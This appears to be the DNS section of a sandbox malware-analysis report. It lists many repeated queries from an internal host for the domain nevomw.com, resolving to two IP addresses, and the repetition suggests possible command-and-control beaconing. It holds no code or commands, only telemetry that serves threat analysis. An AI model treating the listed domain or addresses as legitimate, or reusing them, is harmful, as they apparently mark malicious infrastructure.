Dec 2, 2020 11:54:06.426261902 CET	192.168.2.6	8.8.8.8	0xc8aa	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:06.822459936 CET	192.168.2.6	8.8.8.8	0x2a0f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:07.286889076 CET	192.168.2.6	8.8.8.8	0x3c98	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:07.661478996 CET	192.168.2.6	8.8.8.8	0x5e6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:08.032965899 CET	192.168.2.6	8.8.8.8	0x1ca3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:08.417562962 CET	192.168.2.6	8.8.8.8	0xc7ad	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:08.915608883 CET	192.168.2.6	8.8.8.8	0xc810	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:09.930711985 CET	192.168.2.6	8.8.8.8	0xd073	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:11.526834011 CET	192.168.2.6	8.8.8.8	0x49bf	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:11.984951019 CET	192.168.2.6	8.8.8.8	0x7151	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:12.548167944 CET	192.168.2.6	8.8.8.8	0x788d	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:12.928486109 CET	192.168.2.6	8.8.8.8	0xc0fb	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:13.366381884 CET	192.168.2.6	8.8.8.8	0x2ada	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:13.817374945 CET	192.168.2.6	8.8.8.8	0xa6cd	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:14.184145927 CET	192.168.2.6	8.8.8.8	0xf369	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:14.635570049 CET	192.168.2.6	8.8.8.8	0x1aa4	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:15.045031071 CET	192.168.2.6	8.8.8.8	0x2b15	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:15.459170103 CET	192.168.2.6	8.8.8.8	0xf9e6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:15.820738077 CET	192.168.2.6	8.8.8.8	0x67f5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:16.267661095 CET	192.168.2.6	8.8.8.8	0x7c0b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:16.631093979 CET	192.168.2.6	8.8.8.8	0x8ff2	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:17.072542906 CET	192.168.2.6	8.8.8.8	0xc015	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:17.425602913 CET	192.168.2.6	8.8.8.8	0x9eb2	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:17.846313953 CET	192.168.2.6	8.8.8.8	0xd2f4	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:18.235343933 CET	192.168.2.6	8.8.8.8	0x6bdb	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:18.702311039 CET	192.168.2.6	8.8.8.8	0x2475	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:19.151036978 CET	192.168.2.6	8.8.8.8	0x9689	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:19.527997017 CET	192.168.2.6	8.8.8.8	0x5042	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:19.926543951 CET	192.168.2.6	8.8.8.8	0x8aa6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:20.382962942 CET	192.168.2.6	8.8.8.8	0x3008	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:20.773883104 CET	192.168.2.6	8.8.8.8	0xd77	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:21.157676935 CET	192.168.2.6	8.8.8.8	0x3028	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:21.525206089 CET	192.168.2.6	8.8.8.8	0xd69e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:21.906178951 CET	192.168.2.6	8.8.8.8	0xbeba	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:22.302553892 CET	192.168.2.6	8.8.8.8	0x25d0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:22.729923010 CET	192.168.2.6	8.8.8.8	0x5cf9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:23.100929022 CET	192.168.2.6	8.8.8.8	0x7f4a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:23.510452986 CET	192.168.2.6	8.8.8.8	0x9134	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:23.916831970 CET	192.168.2.6	8.8.8.8	0xaccc	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:24.330015898 CET	192.168.2.6	8.8.8.8	0xf771	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:24.777729988 CET	192.168.2.6	8.8.8.8	0xa872	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:25.196018934 CET	192.168.2.6	8.8.8.8	0xb823	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:25.633527994 CET	192.168.2.6	8.8.8.8	0xa121	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:26.057401896 CET	192.168.2.6	8.8.8.8	0xb601	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:26.484194040 CET	192.168.2.6	8.8.8.8	0x76f6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:26.873094082 CET	192.168.2.6	8.8.8.8	0xa9ac	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:27.340032101 CET	192.168.2.6	8.8.8.8	0x59c9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:27.751902103 CET	192.168.2.6	8.8.8.8	0x9e66	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:28.121882915 CET	192.168.2.6	8.8.8.8	0x6318	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:28.559003115 CET	192.168.2.6	8.8.8.8	0x7812	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:29.007213116 CET	192.168.2.6	8.8.8.8	0x7170	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:29.390543938 CET	192.168.2.6	8.8.8.8	0x7969	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:29.797132969 CET	192.168.2.6	8.8.8.8	0x5a3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:30.181869030 CET	192.168.2.6	8.8.8.8	0xf272	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:30.601612091 CET	192.168.2.6	8.8.8.8	0x90b1	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:30.985236883 CET	192.168.2.6	8.8.8.8	0xaf48	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:31.439317942 CET	192.168.2.6	8.8.8.8	0xa31b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:31.882524014 CET	192.168.2.6	8.8.8.8	0xc14f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:32.338794947 CET	192.168.2.6	8.8.8.8	0x2755	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:32.798295021 CET	192.168.2.6	8.8.8.8	0xc279	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:33.233997107 CET	192.168.2.6	8.8.8.8	0xc462	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:33.669555902 CET	192.168.2.6	8.8.8.8	0x438a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 2, 2020 11:52:41.355474949 CET	8.8.8.8	192.168.2.6	0x1c2a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:41.355474949 CET	8.8.8.8	192.168.2.6	0x1c2a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:41.803246975 CET	8.8.8.8	192.168.2.6	0xf17a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:41.803246975 CET	8.8.8.8	192.168.2.6	0xf17a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.132451057 CET	8.8.8.8	192.168.2.6	0x597	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.132451057 CET	8.8.8.8	192.168.2.6	0x597	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.606357098 CET	8.8.8.8	192.168.2.6	0xb42c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.606357098 CET	8.8.8.8	192.168.2.6	0xb42c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.162781000 CET	8.8.8.8	192.168.2.6	0x5e0b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.162781000 CET	8.8.8.8	192.168.2.6	0x5e0b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.713635921 CET	8.8.8.8	192.168.2.6	0xd940	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.713635921 CET	8.8.8.8	192.168.2.6	0xd940	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.310158968 CET	8.8.8.8	192.168.2.6	0x377c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.310158968 CET	8.8.8.8	192.168.2.6	0x377c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.752568007 CET	8.8.8.8	192.168.2.6	0x2af8	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.752568007 CET	8.8.8.8	192.168.2.6	0x2af8	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:45.611747026 CET	8.8.8.8	192.168.2.6	0x74b6	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:45.611747026 CET	8.8.8.8	192.168.2.6	0x74b6	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:46.116872072 CET	8.8.8.8	192.168.2.6	0xf5b6	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:46.116872072 CET	8.8.8.8	192.168.2.6	0xf5b6	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.122234106 CET	8.8.8.8	192.168.2.6	0x6d5a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.122234106 CET	8.8.8.8	192.168.2.6	0x6d5a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.561136961 CET	8.8.8.8	192.168.2.6	0x42cd	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.561136961 CET	8.8.8.8	192.168.2.6	0x42cd	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.991945982 CET	8.8.8.8	192.168.2.6	0xa47c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.991945982 CET	8.8.8.8	192.168.2.6	0xa47c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.418570042 CET	8.8.8.8	192.168.2.6	0xc78b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.418570042 CET	8.8.8.8	192.168.2.6	0xc78b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.822575092 CET	8.8.8.8	192.168.2.6	0x73ab	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.822575092 CET	8.8.8.8	192.168.2.6	0x73ab	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.230813026 CET	8.8.8.8	192.168.2.6	0x559c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.230813026 CET	8.8.8.8	192.168.2.6	0x559c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.694818020 CET	8.8.8.8	192.168.2.6	0x5065	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.694818020 CET	8.8.8.8	192.168.2.6	0x5065	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.129313946 CET	8.8.8.8	192.168.2.6	0x33c8	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.129313946 CET	8.8.8.8	192.168.2.6	0x33c8	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.570329905 CET	8.8.8.8	192.168.2.6	0x27dd	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.570329905 CET	8.8.8.8	192.168.2.6	0x27dd	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.013034105 CET	8.8.8.8	192.168.2.6	0x19b1	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.013034105 CET	8.8.8.8	192.168.2.6	0x19b1	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.431253910 CET	8.8.8.8	192.168.2.6	0x942b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.431253910 CET	8.8.8.8	192.168.2.6	0x942b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.927218914 CET	8.8.8.8	192.168.2.6	0x6e91	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.927218914 CET	8.8.8.8	192.168.2.6	0x6e91	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.426688910 CET	8.8.8.8	192.168.2.6	0xc7ad	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.426688910 CET	8.8.8.8	192.168.2.6	0xc7ad	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.823009968 CET	8.8.8.8	192.168.2.6	0x7f49	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.823009968 CET	8.8.8.8	192.168.2.6	0x7f49	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.268198013 CET	8.8.8.8	192.168.2.6	0xca0	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.268198013 CET	8.8.8.8	192.168.2.6	0xca0	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.721225977 CET	8.8.8.8	192.168.2.6	0x8644	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.721225977 CET	8.8.8.8	192.168.2.6	0x8644	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.120260954 CET	8.8.8.8	192.168.2.6	0x492c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.120260954 CET	8.8.8.8	192.168.2.6	0x492c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.600783110 CET	8.8.8.8	192.168.2.6	0xe04a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.600783110 CET	8.8.8.8	192.168.2.6	0xe04a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.046402931 CET	8.8.8.8	192.168.2.6	0xfb94	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.046402931 CET	8.8.8.8	192.168.2.6	0xfb94	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.442281961 CET	8.8.8.8	192.168.2.6	0xb63a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.442281961 CET	8.8.8.8	192.168.2.6	0xb63a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.909446955 CET	8.8.8.8	192.168.2.6	0x517	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.909446955 CET	8.8.8.8	192.168.2.6	0x517	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.431663990 CET	8.8.8.8	192.168.2.6	0x8eee	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.431663990 CET	8.8.8.8	192.168.2.6	0x8eee	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.798049927 CET	8.8.8.8	192.168.2.6	0x5753	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.798049927 CET	8.8.8.8	192.168.2.6	0x5753	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.196469069 CET	8.8.8.8	192.168.2.6	0x222c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.196469069 CET	8.8.8.8	192.168.2.6	0x222c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.684812069 CET	8.8.8.8	192.168.2.6	0x1643	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.684812069 CET	8.8.8.8	192.168.2.6	0x1643	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.062277079 CET	8.8.8.8	192.168.2.6	0x4cfb	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.062277079 CET	8.8.8.8	192.168.2.6	0x4cfb	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.515727043 CET	8.8.8.8	192.168.2.6	0xe14c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.515727043 CET	8.8.8.8	192.168.2.6	0xe14c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.907005072 CET	8.8.8.8	192.168.2.6	0x1d80	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.907005072 CET	8.8.8.8	192.168.2.6	0x1d80	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.302881002 CET	8.8.8.8	192.168.2.6	0xec8d	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.302881002 CET	8.8.8.8	192.168.2.6	0xec8d	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.713706970 CET	8.8.8.8	192.168.2.6	0xa247	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.713706970 CET	8.8.8.8	192.168.2.6	0xa247	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.193737030 CET	8.8.8.8	192.168.2.6	0x849f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.193737030 CET	8.8.8.8	192.168.2.6	0x849f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.585374117 CET	8.8.8.8	192.168.2.6	0xd9e7	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.585374117 CET	8.8.8.8	192.168.2.6	0xd9e7	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.989985943 CET	8.8.8.8	192.168.2.6	0xd1a0	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.989985943 CET	8.8.8.8	192.168.2.6	0xd1a0	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.478122950 CET	8.8.8.8	192.168.2.6	0xa8e	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.478122950 CET	8.8.8.8	192.168.2.6	0xa8e	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.946038008 CET	8.8.8.8	192.168.2.6	0xc733	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.946038008 CET	8.8.8.8	192.168.2.6	0xc733	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.313791037 CET	8.8.8.8	192.168.2.6	0x7c06	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.313791037 CET	8.8.8.8	192.168.2.6	0x7c06	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.905879974 CET	8.8.8.8	192.168.2.6	0x14e8	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.905879974 CET	8.8.8.8	192.168.2.6	0x14e8	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:03.335556984 CET	8.8.8.8	192.168.2.6	0x4814	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:03.335556984 CET	8.8.8.8	192.168.2.6	0x4814	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:04.140631914 CET	8.8.8.8	192.168.2.6	0xeeda	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:04.140631914 CET	8.8.8.8	192.168.2.6	0xeeda	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.283634901 CET	8.8.8.8	192.168.2.6	0xe9c5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.283634901 CET	8.8.8.8	192.168.2.6	0xe9c5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.682204008 CET	8.8.8.8	192.168.2.6	0x6d9f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.682204008 CET	8.8.8.8	192.168.2.6	0x6d9f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.049491882 CET	8.8.8.8	192.168.2.6	0xa6d0	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.049491882 CET	8.8.8.8	192.168.2.6	0xa6d0	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.496139050 CET	8.8.8.8	192.168.2.6	0x8c0c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.496139050 CET	8.8.8.8	192.168.2.6	0x8c0c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.926450968 CET	8.8.8.8	192.168.2.6	0xb320	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.926450968 CET	8.8.8.8	192.168.2.6	0xb320	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.309964895 CET	8.8.8.8	192.168.2.6	0xe178	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.309964895 CET	8.8.8.8	192.168.2.6	0xe178	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.784583092 CET	8.8.8.8	192.168.2.6	0x82e7	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.784583092 CET	8.8.8.8	192.168.2.6	0x82e7	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.121442080 CET	8.8.8.8	192.168.2.6	0xf1ed	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.121442080 CET	8.8.8.8	192.168.2.6	0xf1ed	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.508510113 CET	8.8.8.8	192.168.2.6	0x886e	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.508510113 CET	8.8.8.8	192.168.2.6	0x886e	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.966033936 CET	8.8.8.8	192.168.2.6	0x2363	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.966033936 CET	8.8.8.8	192.168.2.6	0x2363	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.392880917 CET	8.8.8.8	192.168.2.6	0xa1b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.392880917 CET	8.8.8.8	192.168.2.6	0xa1b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.883450985 CET	8.8.8.8	192.168.2.6	0xf955	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.883450985 CET	8.8.8.8	192.168.2.6	0xf955	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:12.324453115 CET	8.8.8.8	192.168.2.6	0x2df6	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:12.324453115 CET	8.8.8.8	192.168.2.6	0x2df6	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:12.711486101 CET	8.8.8.8	192.168.2.6	0x73ee	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
